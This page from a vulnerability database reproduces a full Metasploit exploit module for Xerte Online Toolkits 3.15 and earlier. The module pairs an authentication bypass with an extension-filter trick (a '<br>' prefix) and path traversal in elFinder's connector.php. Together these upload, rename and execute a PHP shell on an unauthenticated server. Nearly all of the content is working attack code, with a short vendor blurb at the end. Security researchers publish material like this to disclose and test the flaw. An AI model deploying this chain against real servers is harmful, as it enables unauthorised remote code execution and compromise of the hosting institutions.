Lucene search
+L

Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Media Upload

🗓️ 22 Apr 2026 00:00:00Reported by bootstrapbool <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 241 Views

Unauthenticated media upload exploit in Xerte Toolkits via connector to upload and execute shell.

Code
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Media Upload',
        'Description' => %q{
          This module bypasses authentication failure, extension blacklist,
          and path traversal vulnerabilities in the /editor/elfinder/php/connector.php
          endpoint to upload and execute a shell in Xerte Online Toolkits
          versions 3.15 (commit 4e40f8030a2e3267267db7ce03e0ff57270be6f5 as
          there's no patch versions used) and earlier.
        },
        'Author' => [
          'bootstrapbool <bootstrapbool[at]gmail.com>', # Vulnerability Disclosure / Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Privileged' => false,
        'Targets' => [
          [
            'PHP', {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
            }
          ]
        ],
        'DefaultTarget' => 0,
        'References' => [
          ['CVE', '2026-34413'],
          ['CVE', '2026-34414'],
          ['CVE', '2026-34415'],
          ['CVE', '2026-41459'],
          [
            'URL', # Python Exploit
            'https://github.com/bootstrapbool/xerteonlinetoolkits-rce'
          ],
        ],
        'DisclosureDate' => '2026-04-22',
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        OptString.new('USERNAME', [
          false,
          'Valid username. If Guest authentication is enabled, a username should NOT be provided.'
        ]),
        OptString.new('WEBROOT', [false, 'The full filepath to the local webroot. Ex: /var/www/html/']),
        OptString.new('TARGETURI', [true, 'The Xerte base path.']),
      ]
    )
  end

  def get_webroot
    uri = normalize_uri(target_uri.path, 'setup/')
    vprint_status("Attempting to retrieve webroot from #{uri}")

    res = send_request_cgi('uri' => uri)

    unless res && res.code == 200
      fail_with(Failure::Unknown, 'Failed to connect to /setup. It was likely removed by an administrator after installation.')
    end

    res.get_html_document.xpath("//text()[contains(., \"Delete 'database.php' from\")]/following::code[1]").text.presence
  end

  def get_elfinder_id(name, volume_id = 'l1')
    encoded_name = Rex::Text.encode_base64(name)
    relative_id = encoded_name.gsub(/=+$/, '')
    "#{volume_id}_#{relative_id}"
  end

  def create_dir(connector_uri, params, dirname, root_dir_id)
    dir_id = get_elfinder_id(dirname)

    create_dir_params = params.merge(
      'cmd' => 'mkdir',
      'name' => dirname,
      'target' => root_dir_id
    )

    res = send_request_cgi({
      'uri' => connector_uri,
      'vars_get' => create_dir_params
    })

    unless res && res.code == 302
      fail_with(Failure::UnexpectedReply, 'Failed to create directory')
    end

    return dir_id
  end

  def upload_file(connector_uri, params, filename, dir_id, payload)
    data = {
      'cmd' => 'upload',
      'target' => dir_id
    }

    mime = Rex::MIME::Message.new

    data.each_pair do |key, value|
      mime.add_part(value, nil, nil, "form-data; name=\"#{key}\"")
    end

    mime.add_part(
      '<br>' + payload, # The <br> tag bypasses the mime filter
      'text/plain',
      nil,
      "form-data; name=\"upload[]\"; filename=\"#{filename}\""
    )

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => connector_uri,
      'vars_get' => params,
      'vars_post' => data,
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'data' => mime.to_s
    )

    unless res && res.code == 302
      fail_with(Failure::UnexpectedReply, 'Failed to upload file')
    end

    return get_elfinder_id(filename)
  end

  def rename_file(connector_uri, params, shellname, dirname, file_id)
    rename_file_params = params.merge(
      'cmd' => 'rename',
      'target' => file_id,
      'name' => "#{dirname}/../../../../#{shellname}"
    )

    res = send_request_cgi({
      'uri' => connector_uri,
      'vars_get' => rename_file_params
    })

    unless res && res.code == 302
      fail_with(Failure::UnexpectedReply, 'Failed to rename file')
    end
  end

  def exploit
    success = false

    connector_uri = normalize_uri(
      target_uri.path,
      '/editor/elfinder/php/connector.php'
    )

    if datastore['WEBROOT'].nil?
      webroot = get_webroot
    else
      webroot = datastore['WEBROOT']
    end

    webroot = webroot[-1] == '/' ? webroot[0..-2] : webroot

    vprint_status("Application Root: #{webroot}")

    # The root dir id is always l1_Lw regardless of authentication scheme, user, or project
    root_dir_id = 'l1_Lw'
    dirname = Rex::Text.rand_text_alpha(8)
    filename = dirname + '.txt'
    shellname = dirname + '.php4'

    # The --Nottingham suffix is non configurable - it's used in all Xerte installations
    if datastore['USERNAME'].nil? # Assumes Anonymous authentication enabled (Default Xerte configuration)
      user_dir = '--Nottingham/'  # Anonymous authentication uses {project_id}--Nottingham scheme for all user directories
    else
      user_dir = "-#{datastore['USERNAME']}-Nottingham/"
    end

    (1..100).each do |x|
      project_dir = "/USER-FILES/#{x}#{user_dir}"

      vprint_status("Attempting #{webroot}#{project_dir}")

      project_dir_uri = normalize_uri(target_uri.path, project_dir)

      base_params = {
        'uploadDir' => "#{webroot}#{project_dir}",
        'uploadURL' => full_uri(project_dir_uri).to_s
      }

      create_dir(connector_uri, base_params, dirname, root_dir_id)

      file_id = upload_file(
        connector_uri,
        base_params,
        filename,
        root_dir_id,
        payload.encoded
      )

      rename_file(connector_uri, base_params, shellname, dirname, file_id)

      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, shellname)
      })

      next if res && res.code == 404

      success = true
      vprint_status("Successfully uploaded shell through #{project_dir}")

      register_dir_for_cleanup("#{base_params['uploadDir']}#{dirname}")
      register_file_for_cleanup("#{base_params['uploadDir']}#{filename}")
      register_file_for_cleanup("#{webroot}/#{shellname}")
      break
    end

    if !success
      fail_with(Failure::NotFound, 'Exploit failed. The target user likely has no projects.')
    end
  end

  def check
    uri = normalize_uri(target_uri.path, 'setup/')
    vprint_status("Attempting to retrieve webroot from #{uri}")

    res = send_request_cgi('uri' => uri)

    if res.nil? || res && res.code != 200
      return Exploit::CheckCode::Unknown('Failed to connect to /setup. It was likely removed by an administrator after installation.')
    end

    webroot = res.get_html_document.xpath("//text()[contains(., \"Delete 'database.php' from\")]/following::code[1]").text.presence

    # /setup only outputs the app root in vulnerable versions of xerte
    if webroot.nil?
      return Exploit::CheckCode::Unknown
    else
      return Exploit::CheckCode::Appears
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Apr 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
241